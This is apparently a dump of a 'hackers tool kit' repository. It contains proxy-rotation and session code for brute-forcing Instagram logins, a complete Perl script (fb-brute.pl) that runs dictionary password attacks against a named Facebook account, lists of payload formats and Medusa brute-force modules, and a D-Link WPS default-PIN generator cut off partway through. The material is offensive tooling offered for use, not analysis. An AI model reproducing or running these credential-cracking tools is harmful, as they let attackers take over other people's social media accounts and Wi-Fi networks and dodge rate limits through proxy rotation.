1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Proxy 4 | 5 | 6 | class Proxy(object): 7 | 8 | def __init__(self, proxy): 9 | self.proxy = proxy 10 | 11 | @property 12 | def ip(self): 13 | return self.proxy['ip'] 14 | 15 | @property 16 | def port(self): 17 | return self.proxy['port'] 18 | 19 | @property 20 | def country(self): 21 | return self.proxy['country'] 22 | 23 | @property 24 | def addr(self): 25 | addr = '{}:{}'.format(self.proxy['ip'], self.proxy['port']) 26 | return {'http': addr, 'https': addr} 27 | -------------------------------------------------------------------------------- /tools/Instagram/lib/proxy_list.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: A list that will manage proxies 4 | 5 | 6 | class ProxyList(object): 7 | 8 | def __init__(self): 9 | self.list = [] 10 | 11 | def __contains__(self, proxy): 12 | for _proxy in self.list: 13 | if _proxy.ip == proxy['ip'] and _proxy.port == proxy['port']: 14 | return True 15 | return False 16 | 17 | def append(self, proxy): 18 | self.list.append(proxy) -------------------------------------------------------------------------------- /tools/Instagram/lib/proxy_manager.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Proxy manager 4 | 5 | from time import sleep 6 | from queue import Queue 7 | from .scraper import Scraper 8 | from .bad_proxies import BadProxies 9 | 10 | 11 | class ProxyManager(object): 12 | 13 | def __init__(self): 14 | self.is_alive = True 15 | self.proxies = Queue() 16 | self.scraper = Scraper() 17 | self.bad_proxies = BadProxies() 18 | 19 | def collect(self): 20 | while self.is_alive: 21 | if not self.proxies.qsize(): 22 | 23 | for proxy in self.scraper.proxies: 24 | if not proxy in self.bad_proxies: 25 | self.proxies.put(proxy) 26 | 27 | sleep(5) 28 | 29 | def bad_proxy(self, proxy): 30 | if not proxy in self.bad_proxies: 31 | self.bad_proxies.append(proxy) 32 | 33 | def get_proxy(self): 34 | if self.proxies.qsize(): 35 | return self.proxies.get() 36 | 37 | def start(self): 38 | self.collect() 39 | 40 | def stop(self): 41 | self.is_alive = False 42 | self.scraper.is_alive = False -------------------------------------------------------------------------------- /tools/Instagram/lib/session.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Mohamed 3 | # Description: Session Handler 4 | 5 | import json 6 | import sqlite3 7 | from os import remove 8 | from sys import version_info 9 | from lib.const import db_path 10 | from os.path import exists as path 11 | from csv import DictWriter, DictReader 12 | 13 | 14 | class DatabaseWrapper: 15 | 16 | def __init__(self, db_name): 17 | self.db_name = db_name 18 | 19 | def db_query(self, cmd, args=[], fetchone=True): 20 | database = sqlite3.connect(self.db_name) 21 | sql = database.cursor().execute(cmd, args) 22 | data = sql.fetchone()[0] if fetchone else sql.fetchall() 23 | database.close() 24 | return data 25 | 26 | def db_execute(self, cmd, args=[]): 27 | database = sqlite3.connect(self.db_name) 28 | database.cursor().execute(cmd, args) 29 | database.commit() 30 | database.close() 31 | 32 | 33 | class Session(DatabaseWrapper): 34 | 35 | is_busy = False 36 | 37 | def __init__(self, fingerprint): 38 | super().__init__(db_path) 39 | self.fingerprint = fingerprint 40 | self.create_tables() 41 | 42 | def create_tables(self): 43 | self.db_execute(''' 44 | CREATE TABLE IF NOT EXISTS 45 | Session( 46 | session_id TEXT, 47 | attempts INTEGER, 48 | list TEXT, 49 | 50 | PRIMARY KEY(session_id) 51 | ); 52 | ''') 53 | 54 | @property 55 | def exists(self): 56 | return self.db_query('SELECT COUNT(*) FROM Session WHERE session_id=?;', [self.fingerprint]) 57 | 58 | def read(self): 59 | 60 | if not self.exists: 61 | return 0, [] 62 | 63 | attempts, list = self.db_query(''' 64 | SELECT attempts, list 65 | FROM Session 66 | WHERE session_id=? 67 | ''', args=[self.fingerprint], fetchone=False)[0] 68 | 69 | return attempts, json.loads(list) 70 | 71 | def _write(self, attempts, _list): 72 | 73 | if not self.exists: 74 | self.db_execute(''' 75 | INSERT INTO Session(session_id, attempts, list) 76 | VALUES(?, ?, ?); 77 | ''', args=[self.fingerprint, attempts, json.dumps(_list)]) 78 | return 79 | 80 | self.db_execute(''' 81 | UPDATE Session 82 | SET attempts=?, list=? 83 | WHERE session_id=?; 84 | ''', args=[attempts, json.dumps(_list), self.fingerprint]) 85 | 86 | def write(self, attempts, _list): 87 | if not attempts: 88 | return 89 | 90 | while Session.is_busy: 91 | pass 92 | 93 | try: 94 | Session.is_busy = True 95 | self._write(attempts, _list) 96 | except: 97 | pass 98 | finally: 99 | Session.is_busy = False 100 | 101 | def delete(self): 102 | if self.exists: 103 | self.db_execute(''' 104 | DELETE FROM Session 105 | WHERE session_id=?; 106 | ''', args=[self.fingerprint]) 107 | -------------------------------------------------------------------------------- /tools/Instagram/requirements.txt: -------------------------------------------------------------------------------- 1 | bs4 2 | future 3 | requests 4 | colorama 5 | -------------------------------------------------------------------------------- /tools/Instagram/test_proxies.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Date: 3/15/2019 3 | Author: Mohamed 4 | Description: Reads a file that contains a list of proxies and determines whether or not that list is good. 5 | Each line in the file must be in the format of ip:port 6 | ''' 7 | 8 | import platform 9 | from os import system 10 | from time import sleep 11 | from requests import Session 12 | from threading import Thread, RLock 13 | 14 | proxy_list = 'proxies.txt' 15 | target_site = 'https://instagram.com' 16 | 17 | 18 | def get_proxies(): 19 | proxies = [] 20 | 21 | with open(proxy_list, 'rt', encoding='utf-8') as proxies_file: 22 | 23 | for line in proxies_file: 24 | if not line: 25 | continue 26 | 27 | ip, port = line.replace('\r', '').split(':') 28 | 29 | port = int(port) 30 | proxy = {'ip': ip, 'port': port} 31 | proxies.append(proxy) 32 | 33 | return proxies 34 | 35 | 36 | class TestProxies: 37 | 38 | def __init__(self, proxies): 39 | self.worked = 0 40 | self.failed = 0 41 | self.lock = RLock() 42 | self.active_brs = 0 43 | self.is_alive = True 44 | self.proxies = proxies 45 | self.total = len(proxies) 46 | self.test_link = target_site 47 | 48 | def display(self): 49 | system('cls' if platform.system() == 'Windows' else 'clear') 50 | worked, failed, total = self.worked, self.failed, self.total 51 | 52 | worked_per = round((worked/total) * 100, 2) 53 | failed_per = round((failed/total) * 100, 2) 54 | complete = round(worked_per + failed_per, 2) 55 | 56 | print(f'Complete: {complete}%') 57 | print(f'Active browsers: {self.active_brs}') 58 | print(f'Proxies worked: {worked_per}% [{worked}]') 59 | print(f'Proxies failed: {failed_per}% [{failed}]') 60 | 61 | def test_proxy(self, proxy): 62 | br = Session() 63 | 64 | addr = '{}:{}'.format(proxy['ip'], proxy['port']) 65 | addr = {'http': addr, 'https': addr} 66 | br.proxies.update(addr) 67 | 68 | try: 69 | br.get(self.test_link, timeout=(10, 15)) 70 | 71 | with self.lock: 72 | self.worked += 1 73 | except: 74 | with self.lock: 75 | self.failed += 1 76 | finally: 77 | br.close() 78 | 79 | if self.is_alive: 80 | with self.lock: 81 | self.display() 82 | 83 | self.active_brs -= 1 84 | 85 | def start(self): 86 | for proxy in self.proxies: 87 | 88 | while self.is_alive and self.active_brs >= 512: 89 | pass 90 | 91 | if not self.is_alive: 92 | break 93 | 94 | with self.lock: 95 | self.active_brs += 1 96 | 97 | Thread(target=self.test_proxy, args=[proxy], daemon=True).start() 98 | 99 | while self.is_alive and self.active_brs: 100 | sleep(0.5) 101 | 102 | self.display() 103 | 104 | def stop(self): 105 | self.is_alive = False 106 | 107 | while self.active_brs: 108 | try: 109 | with self.lock: 110 | self.display() 111 | 112 | sleep(0.5) 113 | except KeyboardInterrupt: 114 | break 115 | 116 | def examine(self): 117 | failed = self.failed / self.total 118 | worked = self.worked / self.total 119 | 120 | if worked == 0: 121 | print('Bad proxy list') 122 | elif (failed - worked) >= 0.1: 123 | print('Bad proxy list') 124 | elif (failed - worked) == 0: 125 | print('Bad proxy list') 126 | else: 127 | print('Good proxy list') 128 | 129 | 130 | if __name__ == '__main__': 131 | test_proxies = TestProxies(get_proxies()) 132 | 133 | try: 134 | test_proxies.start() 135 | except KeyboardInterrupt: 136 | test_proxies.stop() 137 | finally: 138 | test_proxies.examine() 139 | -------------------------------------------------------------------------------- /tools/fb-brute.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Bruteforce-Facebook 4 | # 5 | # Description: 6 | # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS. 7 | # 8 | # Usage: 9 | # perl Imad'Ox-Bruter.pl login wordlist 10 | # login could be either a user's email address or profile name 11 | # 12 | # Module Requirements: 13 | # 14 | # Install module if missing: 15 | # perl -MCPAN -e 'install Net::SSLeay' 16 | # 17 | # Demo: 18 | # perl Imad'Ox-Bruter.pl Facebooklogin@facebook.com wordlist.lst 19 | # 20 | # --- Imad'Ox-Bruter Facebook password cracking tool 21 | # --- By Imad'Ox Hunter 22 | # --- www.facebook.com/imad.elouajib 23 | # 24 | # [+] Cracking Facebooklogin@facebook.com ... 25 | # 26 | # [-] test -> Failed 27 | # [-] test123 -> Failed 28 | # [-] testtest -> Failed 29 | # [-] testest123 -> Failed 30 | # [-] qwerty -> Failed 31 | # [-] azerty -> Failed 32 | # [-] password -> Failed 33 | # [-] password123 -> Failed 34 | # 35 | ######################################################## 36 | # [+] CRACKED! Your password is P@$$W0RD 37 | ######################################################## 38 | # 39 | 40 | use strict; 41 | use Net::SSLeay::Handle; 42 | 43 | if(!defined($ARGV[0] && $ARGV[1])) { 44 | 45 | system('clear'); 46 | print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n"; 47 | print "+++ Coded by Imad'Ox-Hunter\n"; 48 | print "+++ www.fb.com/imad.elouajib\n\n"; 49 | print "+++ Usage: perl $0 login wordlist\n\n"; 50 | exit; } 51 | 52 | my $user = $ARGV[0]; 53 | my $wordlist = $ARGV[1]; 54 | 55 | open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n"; 56 | 57 | print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n"; 58 | print "+++ Coded by Imad'Ox-Hunter\n"; 59 | print "+++ www.fb.com/imad.elouajib\n"; 60 | print "\n[+] Now Cracking $user ...\n\n"; 61 | 62 | while (my $password = ) { 63 | chomp ($password); 64 | $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg; 65 | 66 | my $a = "POST /login.php HTTP/1.1"; 67 | my $b = "Host: www.facebook.com"; 68 | my $c = "Connection: close"; 69 | my $e = "Cache-Control: max-age=0"; 70 | my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; 71 | my $g = "Origin: https://www.facebook.com"; 72 | my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"; 73 | my $i = "Content-Type: application/x-www-form-urlencoded"; 74 | my $j = "Accept-Encoding: gzip,deflate,sdch"; 75 | my $k = "Accept-Language: en-US,en;q=0.8"; 76 | my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3"; 77 | 78 | my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa"; 79 | my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In"; 80 | my $cl = length($post); 81 | my $d = "Content-Length: $cl"; 82 | 83 | 84 | my ($host, $port) = ("www.facebook.com", 443); 85 | 86 | tie(*SSL, "Net::SSLeay::Handle", $host, $port); 87 | 88 | 89 | print SSL "$a\n"; 90 | print SSL "$b\n"; 91 | print SSL "$c\n"; 92 | print SSL "$d\n"; 93 | print SSL "$e\n"; 94 | print SSL "$f\n"; 95 | print SSL "$g\n"; 96 | print SSL "$h\n"; 97 | print SSL "$i\n"; 98 | print SSL "$j\n"; 99 | print SSL "$k\n"; 100 | print SSL "$l\n"; 101 | print SSL "$cookie\n\n"; 102 | 103 | print SSL "$post\n"; 104 | 105 | my $success; 106 | while(my $result = ){ 107 | if($result =~ /Location(.*?)/){ 108 | $success = $1; 109 | } 110 | } 111 | if (!defined $success) 112 | { 113 | print "[-] $password -> Not Him :( \n"; 114 | close SSL; 115 | } 116 | else 117 | { 118 | print "\n########################################################\n"; 119 | print "[+] Yuuup!! Pass Cracked => Pass is $password :D\n"; 120 | print "########################################################\n\n"; 121 | close SSL; 122 | exit; 123 | } 124 | } -------------------------------------------------------------------------------- /tools/formats.txt: -------------------------------------------------------------------------------- 1 | Formats [--format ] 2 | =============================================== 3 | 4 | Name 5 | ---- 6 | asp 7 | aspx 8 | aspx-exe 9 | axis2 10 | dll 11 | elf 12 | elf-so 13 | exe 14 | exe-only 15 | exe-service 16 | exe-small 17 | hta-psh 18 | jar 19 | jsp 20 | loop-vbs 21 | macho 22 | msi 23 | msi-nouac 24 | osx-app 25 | psh 26 | psh-cmd 27 | psh-net 28 | psh-reflection 29 | vba 30 | vba-exe 31 | vba-psh 32 | vbs 33 | war 34 | bash 35 | c 36 | csharp 37 | dw 38 | dword 39 | hex 40 | java 41 | js_be 42 | js_le 43 | num 44 | perl 45 | pl 46 | powershell 47 | ps1 48 | py 49 | python 50 | raw 51 | rb 52 | ruby 53 | sh 54 | vbapplication 55 | vbscript 56 | -------------------------------------------------------------------------------- /tools/htkbanner.txt: -------------------------------------------------------------------------------- 1 | _ _ _ _ _ _ _ 2 | | |__ __ _ ___| | _____ _ __ ___ | |_ ___ ___ | | | | _(_) |_ 3 | | '_ \ / _` |/ __| |/ / _ \ '__/ __|_____| __/ _ \ / _ \| |_____| |/ / | __| 4 | | | | | (_| | (__| < __/ | \__ \_____| || (_) | (_) | |_____| <| | |_ 5 | |_| |_|\__,_|\___|_|\_\___|_| |___/ \__\___/ \___/|_| |_|\_\_|\__| 6 | -------------------------------------------------------------------------------- /tools/lib/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /tools/lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/lib/__init__.pyc -------------------------------------------------------------------------------- /tools/lib/bruter.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/lib/bruter.pyc -------------------------------------------------------------------------------- /tools/lib/const.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Pure-L0G1C 3 | # Description: Consts 4 | 5 | credentials = 'accounts.txt' 6 | 7 | # limits 8 | max_fails = 8 9 | fetch_time = (5, 10) 10 | max_proxy_usage = 16 11 | 12 | # Instagram's details 13 | instagram_username_field = 'username' 14 | instagram_password_field = 'password' 15 | home_url = 'https://www.instagram.com/' 16 | login_url = 'https://www.instagram.com/accounts/login/ajax/' 17 | 18 | site_details = { 19 | 'name':'Instagram', 20 | 'home_url': home_url, 21 | 'login_url': login_url, 22 | 'username_field': instagram_username_field, 23 | 'password_field': instagram_password_field, 24 | 'header': { 'Referer': 'https://www.instagram.com', 'Connection': 'close' } 25 | } -------------------------------------------------------------------------------- /tools/lib/const.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/lib/const.pyc -------------------------------------------------------------------------------- /tools/lib/queue.py: -------------------------------------------------------------------------------- 1 | # Date: 05/03/2018 2 | # Author: Pure-L0G1C 3 | # Description: Proxy scraper 4 | 5 | from requests import get 6 | from bs4 import BeautifulSoup as bs 7 | 8 | class Queue(object): 9 | 10 | def __init__(self): 11 | self.queue = [] 12 | 13 | def put(self, item): 14 | if not item in self.queue: 15 | self.queue.append(item) 16 | 17 | def get(self): 18 | if self.qsize: 19 | return self.queue.pop(0) 20 | 21 | @property 22 | def qsize(self): 23 | return len(self.queue) -------------------------------------------------------------------------------- /tools/lib/scraper.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/lib/scraper.pyc -------------------------------------------------------------------------------- /tools/lib/session.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Pure-L0G1C 3 | # Description: Session Handler 4 | 5 | from os import remove 6 | from os.path import exists as path 7 | from csv import DictWriter, DictReader 8 | 9 | class Session(object): 10 | def __init__(self, username, passlist): 11 | self.file = '.{}_{}.csv'.format(username, passlist.replace('\\', '_').replace('/', '_')) 12 | 13 | def exists(self): 14 | return path(self.file) 15 | 16 | def read(self): 17 | with open(self.file, 'r') as csvfile: 18 | session = DictReader(csvfile, delimiter = ',') 19 | try:return [_ for _ in session][0] 20 | except:pass 21 | 22 | def write(self, attempts, queue): 23 | if not attempts:return 24 | with open(self.file, 'w') as csvfile: 25 | fieldnames = ['attempts', 'queue'] 26 | writer = DictWriter(csvfile, fieldnames=fieldnames) 27 | 28 | writer.writeheader() 29 | writer.writerow({ 'attempts': attempts, 'queue': queue }) 30 | 31 | def delete(self): 32 | if path(self.file): 33 | try:remove(self.file) 34 | except:pass -------------------------------------------------------------------------------- /tools/lib/session.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/lib/session.pyc -------------------------------------------------------------------------------- /tools/lib/spyder.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Pure-L0G1C 3 | # Description: Browser Manager 4 | 5 | from requests import Session 6 | from .const import site_details 7 | from .scraper import Scraper, Queue 8 | 9 | class Spyder(object): 10 | 11 | def __init__(self): 12 | self.proxy = None 13 | self.isAlive = True 14 | self.proxy_info = None 15 | self.proxies = Queue() 16 | self.scraper = Scraper() 17 | 18 | def proxy_manager(self): 19 | while self.isAlive: 20 | while all([self.isAlive, self.proxies.qsize]):pass 21 | if not self.isAlive:break 22 | 23 | self.proxies = self.scraper.scrape(ssl_proxies=True) 24 | [self.proxies.put(proxy) for proxy in self.scraper.scrape(new_proxies=True).queue if self.isAlive] 25 | 26 | @property 27 | def br(self): 28 | session = Session() 29 | session.proxies.update(self.proxy) 30 | session.headers.update(site_details['header']) 31 | return session 32 | 33 | def renew_proxy(self, n=10): 34 | _proxy = self.proxies.get() 35 | addr = 'http://{}:{}'.format(_proxy['ip'], _proxy['port']) 36 | proxy = { 'http': addr, 'https': addr } 37 | 38 | if self.proxy: 39 | if all([self.proxy == proxy, self.proxies.qsize, n]): 40 | self.renew_proxy(n-1) 41 | self.proxy_info = _proxy 42 | self.proxy = proxy 43 | 44 | def ip_addr(self): 45 | try: 46 | return self.proxy['http'].split(':')[1][2:] 47 | except:pass 48 | -------------------------------------------------------------------------------- /tools/lib/spyder.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/lib/spyder.pyc -------------------------------------------------------------------------------- /tools/medusamods.txt: -------------------------------------------------------------------------------- 1 | + cvs : Brute force module for CVS sessions : version 2.0 2 | + ftp : Brute force module for FTP/FTPS sessions : version 2.1 3 | + http : Brute force module for HTTP : version 2.1 4 | + imapule : Brute force module for IMAP sessions : version 2.0 5 | + mssql : Brute force module for M$-SQL sessions : version 2.0 6 | + mysql : Brute force module for MySQL sessions : version 2.0 7 | + nntp : Brute force module for NNTP sessions : version 2.0 8 | + pcanywhere : Brute force module for PcAnywhere sessions : version 2.0 9 | + pop3 : Brute force module for POP3 sessions : version 2.0 10 | + postgres : Brute force module for PostgreSQL sessions : version 2.0 11 | + rexec : Brute force module for REXEC sessions : version 2.0 12 | + rlogin : Brute force module for RLOGIN sessions : version 2.0 13 | + rsh : Brute force module for RSH sessions : version 2.0 14 | + smbnt : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1 15 | + smtp-vrfy : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1 16 | + smtp : Brute force module for SMTP Authentication with TLS : version 2.0 17 | + snmp : Brute force module for SNMP Community Strings : version 2.1 18 | + ssh : Brute force module for SSH v2 sessions : version 2.1 19 | + svn : Brute force module for Subversion sessions : version 2.1 20 | + telnet : Brute force module for telnet sessions : version 2.0 21 | + vmauthd : Brute force module for the VMware Authentication Daemon : version 2.0 22 | + vnc : Brute force module for VNC sessions : version 2.1 23 | + web-form : Brute force module for web forms : version 2.1 24 | + wrapper : Generic Wrapper Module : version 2.0 -------------------------------------------------------------------------------- /tools/modules/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from colors import * 4 | from functions import * 5 | from banner import banner as Banner 6 | -------------------------------------------------------------------------------- /tools/modules/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/modules/__init__.pyc -------------------------------------------------------------------------------- /tools/modules/banner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from colors import * 4 | 5 | banner = r + """ 6 | 7 | 8 | ██╗ ██╗███████╗██████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ 9 | ██║ ██║██╔════╝██╔══██╗██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ 10 | ██║ █╗ ██║█████╗ ██████╔╝█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ 11 | ██║███╗██║██╔══╝ ██╔══██╗██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ 12 | ╚███╔███╔╝███████╗██████╔╝██║ ██╗██║███████╗███████╗███████╗██║ ██║ 13 | ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ 14 | ==================================================================== 15 | ** WebSite : UltraSec.org ** 16 | ** Channel : @UltraSecurity ** 17 | ** Developers : Ashkan Moghaddas , Milad Ranjbar ** 18 | ** Team Members : Abolfaz Hajizadeh , MrQadir ** 19 | ** ** 20 | ==================================================================== 21 | """ + g 22 | -------------------------------------------------------------------------------- /tools/modules/banner.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/modules/banner.pyc -------------------------------------------------------------------------------- /tools/modules/colors.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from colorama import init,Fore,Back,Style 4 | import os 5 | 6 | 7 | if os.name == "posix": 8 | # colors foreground text: 9 | fc = "\033[0;96m" 10 | fg = "\033[0;92m" 11 | fw = "\033[0;97m" 12 | fr = "\033[0;91m" 13 | fb = "\033[0;94m" 14 | fy = "\033[0;33m" 15 | fm = "\033[0;35m" 16 | 17 | # colors background text: 18 | bc = "\033[46m" 19 | bg = "\033[42m" 20 | bw = "\033[47m" 21 | br = "\033[41m" 22 | bb = "\033[44m" 23 | by = "\033[43m" 24 | bm = "\033[45m" 25 | 26 | # colors style text: 27 | sd = Style.DIM 28 | sn = Style.NORMAL 29 | sb = Style.BRIGHT 30 | 31 | c = fc + sb 32 | g = fg + sb 33 | w = fw + sb 34 | r = fr + sb 35 | b = fb + sb 36 | y = fy + sb 37 | m = fm + sb 38 | else: 39 | init(autoreset=True) 40 | # colors foreground text: 41 | fc = Fore.CYAN 42 | fg = Fore.GREEN 43 | fw = Fore.WHITE 44 | fr = Fore.RED 45 | fb = Fore.BLUE 46 | fy = Fore.YELLOW 47 | fm = Fore.MAGENTA 48 | 49 | 50 | # colors background text: 51 | bc = Back.CYAN 52 | bg = Back.GREEN 53 | bw = Back.WHITE 54 | br = Back.RED 55 | bb = Back.BLUE 56 | by = Fore.YELLOW 57 | bm = Fore.MAGENTA 58 | 59 | # colors style text: 60 | sd = Style.DIM 61 | sn = Style.NORMAL 62 | sb = Style.BRIGHT 63 | 64 | c = fc + sb 65 | g = fg + sb 66 | w = fw + sb 67 | r = fr + sb 68 | b = fb + sb 69 | y = fy + sb 70 | m = fm + sb -------------------------------------------------------------------------------- /tools/modules/colors.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/modules/colors.pyc -------------------------------------------------------------------------------- /tools/modules/footer.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/modules/footer.pyc -------------------------------------------------------------------------------- /tools/modules/functions.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from modules.colors import * 4 | import requests 5 | import re 6 | 7 | _headers = { 8 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 9 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 10 | 'Accept-Encoding': 'gzip,deflate,sdch', 11 | 'Accept-Language': 'en-US,en;q=0.8', 12 | 'Connection': 'keep-alive' 13 | } 14 | 15 | empty_Website = "\n\t{red}[+] Please Enter A Website :/\n\t\t".format(red=r, cyan=c) 16 | 17 | wrong_URL = "\n\t{red}[-] Please Enter a Valid And Correct URL (i.e, google.com)\n\t\t".format(red=r) 18 | 19 | str_Index = "\n\t{red}[-] Please Input a Integer (i.e, 1, 2, 3) :\\\n\t\t".format(red=r) 20 | 21 | val_Select = "\t{}[-] Please Use The Index Value From The List\n\t\t[+] Not By Your Own :/\n\t\t\t \n".format(r) 22 | 23 | def webNotEmpty(website): 24 | 25 | if len(website) >= 1: 26 | return "valid" 27 | else: 28 | return "!valid" 29 | 30 | def validWebsite(website): 31 | 32 | web = webNotEmpty(website) 33 | if web is "valid": 34 | if not (re.match(r"(^(http://|https://)?([a-z0-9][a-z0-9-]*\.)+[a-z0-9][a-z0-9-]*$)", website)): 35 | exit(wrong_URL) 36 | else: 37 | exit(empty_Website) 38 | 39 | def cleanURL(website): 40 | 41 | web = validWebsite(website) 42 | website = website.replace("http://", "") 43 | website = website.replace("http://www.", "") 44 | website = website.replace("https://", "") 45 | website = website.replace("https://www.", "") 46 | website = website.replace("www.", ""); return(website) 47 | 48 | def removeHTTP(website): 49 | 50 | website = cleanURL(website); return(website) 51 | 52 | def addHTTP(website): 53 | 54 | website = cleanURL(website) 55 | website = ("http://" + website); return(website) 56 | 57 | def write(var, color, data): 58 | if var == None: 59 | print(color + str(data)) 60 | elif var != None: 61 | print("{white}[{cyan}" + var + "{white}] " + color + str(data)).format( 62 | white=w, cyan=c 63 | ) 64 | 65 | def Request(website, _timeout=None, _encode=None): 66 | 67 | try: 68 | if _encode == None: 69 | return requests.get(website, headers=_headers, timeout=_timeout).content 70 | elif _encode == True: 71 | return requests.get(website, headers=_headers, timeout=_timeout).text.encode('utf-8') 72 | except requests.exceptions.MissingSchema: 73 | pass 74 | except requests.exceptions.ContentDecodingError: 75 | pass 76 | except requests.exceptions.ConnectionError: 77 | return fg + sb + "\n[-] Error: Sorry! You Enter A Wrong Website Or Website Is Off" 78 | pass 79 | except Exception as e: 80 | return fc + sb + "[-] Error: " + fg + sb + str(e) 81 | pass -------------------------------------------------------------------------------- /tools/modules/functions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/modules/functions.pyc -------------------------------------------------------------------------------- /tools/pingen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs. 4 | # 5 | # Craig Heffner 6 | # Tactical Network Solutions 7 | 8 | class WPSException(Exception): 9 | pass 10 | 11 | class WPS(object): 12 | 13 | def checksum(self, pin): 14 | ''' 15 | Standard WPS checksum algorithm. 16 | 17 | @pin - A 7 digit pin to calculate the checksum for. 18 | 19 | Returns the checksum value. 20 | ''' 21 | accum = 0 22 | 23 | while pin: 24 | accum += (3 * (pin % 10)) 25 | pin = int(pin / 10) 26 | accum += (pin % 10) 27 | pin = int(pin / 10) 28 | 29 | return ((10 - accum % 10) % 10) 30 | 31 | class DLink(object): 32 | 33 | def __init__(self): 34 | self.wps = WPS() 35 | 36 | def __mac2nic(self, mac): 37 | ''' 38 | Parses out the NIC portion of an ASCII MAC address. 39 | 40 | @mac_address - An ASCII string MAC address or NIC, 41 | with or without delimiters. 42 | 43 | Returns the NIC portion of the MAC address as an int. 44 | ''' 45 | mac = mac.replace(':', '').replace('-', '') 46 | 47 | if len(mac) == 12: 48 | try: 49 | nic = int(mac[6:], 16) 50 | except ValueError as e: 51 | raise WPSException("Invalid NIC: [%s]" % mac[6:]) 52 | elif len(mac) == 6: 53 | try: 54 | nic = int(mac, 16) 55 | except ValueError as e: 56 | raise WPSException("Invalid NIC: [%s]" % mac) 57 | else: 58 | raise WPSException("Invalid MAC address: [%s]" % mac) 59 | 60 | return nic 61 | 62 | def generate(self, mac): 63 | ''' 64 | Calculates the default WPS pin from the NIC portion of the MAC address. 65 | 66 | @mac - The MAC address string. 67 | 68 | Returns the calculated default WPS pin, including checksum. 69 | ''' 70 | nic = self.__mac2nic(mac) 71 | 72 | # Do some XOR operations on the NIC 73 | pin = nic ^ 0x55AA55 74 | pin = pin ^ (((pin & 0x0F) << 4) + 75 | ((pin & 0x0F) << 8) + 76 | ((pin 